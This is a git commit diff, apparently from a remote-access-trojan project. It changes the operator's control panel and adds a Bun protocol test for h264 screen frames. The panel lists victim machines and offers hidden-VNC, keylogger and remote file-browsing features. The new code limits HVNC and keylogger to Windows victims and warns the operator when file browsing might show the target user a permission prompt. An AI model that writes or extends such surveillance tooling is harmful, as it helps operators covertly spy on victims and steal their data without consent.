add h264 tests (client and server), hide options that won't work for mac + linux and give warning for mac under certain circumstances (fuck ass file viewing).

This commit is contained in:
KingKDot
2026-03-06 18:32:16 -06:00
parent 67323752cc
commit cc135acd36
4 changed files with 163 additions and 0 deletions
+56
View File
@@ -49,6 +49,48 @@ const clearContext = () => {
contextCard = null;
};
function detectClientPlatform(clientId) {
if (!clientId) {
return "unknown";
}
const selectorId =
typeof CSS !== "undefined" && typeof CSS.escape === "function"
? CSS.escape(clientId)
: clientId;
const card = document.querySelector(`article[data-id="${selectorId}"]`);
const os = String(card?.dataset?.os || "").toLowerCase();
if (os.includes("windows")) return "windows";
if (os.includes("darwin") || os.includes("mac")) return "mac";
if (os.includes("linux")) return "linux";
return "unknown";
}
function applyMenuSupportRules(clientId) {
const platform = detectClientPlatform(clientId);
const isWindows = platform === "windows";
const setAvailability = (btn, enabled, reason) => {
if (!btn) return;
btn.disabled = !enabled;
btn.setAttribute("aria-disabled", String(!enabled));
btn.classList.toggle("opacity-50", !enabled);
btn.classList.toggle("cursor-not-allowed", !enabled);
btn.classList.toggle("hover:bg-slate-700", enabled);
btn.classList.toggle("hover:bg-slate-800/50", !enabled);
btn.title = enabled ? "" : reason;
};
const hvncBtn = menu.querySelector('[data-open="hvnc"]');
setAvailability(hvncBtn, isWindows, "HVNC is only supported on Windows clients.");
const keyloggerBtn = menu.querySelector('[data-open="keylogger"]');
setAvailability(
keyloggerBtn,
isWindows,
"Keylogger capture is only fully supported on Windows clients.",
);
}
async function loadCurrentUser() {
try {
const res = await fetch("/api/auth/me");
@@ -194,6 +236,7 @@ function initializeRenderer() {
totalPill,
pageLabel,
openMenu: (id, x, y) => {
applyMenuSupportRules(id);
openMenu(id, x, y, setContext);
loadPluginsForClient(id);
},
@@ -511,6 +554,9 @@ window.addEventListener("click", (e) => {
menu.addEventListener("click", async (e) => {
const target = e.target.closest("button");
if (!target || !contextCard) return;
if (target.disabled || target.getAttribute("aria-disabled") === "true") {
return;
}
const pluginId = target.dataset.plugin;
if (pluginId) {
try {
@@ -555,6 +601,16 @@ menu.addEventListener("click", async (e) => {
return;
}
if (open === "files") {
const platform = detectClientPlatform(contextCard);
if (platform !== "windows") {
const proceed = confirm(
"Opening File Browser may show a permission prompt to the target user on their machine. Continue?",
);
if (!proceed) {
closeMenu(clearContext);
return;
}
}
window.open(`/${contextCard}/files`, "_blank", "noopener");
closeMenu(clearContext);
return;
+1
View File
@@ -166,6 +166,7 @@ export function createRenderer({
const wasChecked = oldCheckbox?.checked || false;
card.dataset.online = String(!!client.online);
card.dataset.os = String(client.os || "").toLowerCase();
const os = osBadge(client.os || "unknown");
const arch = archBadge(client.arch || "");
const ver = versionBadge(client.version || "");
+24
View File
@@ -2,6 +2,7 @@ import { describe, expect, test } from "bun:test";
import {
decodeMessage,
encodeMessage,
type Frame,
type Hello,
type Ping,
} from "./protocol";
@@ -37,4 +38,27 @@ describe("protocol encode/decode", () => {
expect(decoded.type).toBe("ping");
expect(decoded.ts).toBe(123);
});
test("round trips h264 frame metadata", () => {
const frame: Frame = {
type: "frame",
header: {
monitor: 1,
fps: 24,
format: "h264",
hvnc: true,
},
data: new Uint8Array([0, 0, 0, 1, 0x67, 0x42, 0xe0, 0x1e]),
};
const encoded = encodeMessage(frame);
const decoded = decodeMessage(encoded) as Frame;
expect(decoded.type).toBe("frame");
expect(decoded.header.format).toBe("h264");
expect(decoded.header.hvnc).toBe(true);
expect(decoded.header.monitor).toBe(1);
expect(decoded.header.fps).toBe(24);
expect(Array.from(decoded.data)).toEqual(Array.from(frame.data));
});
});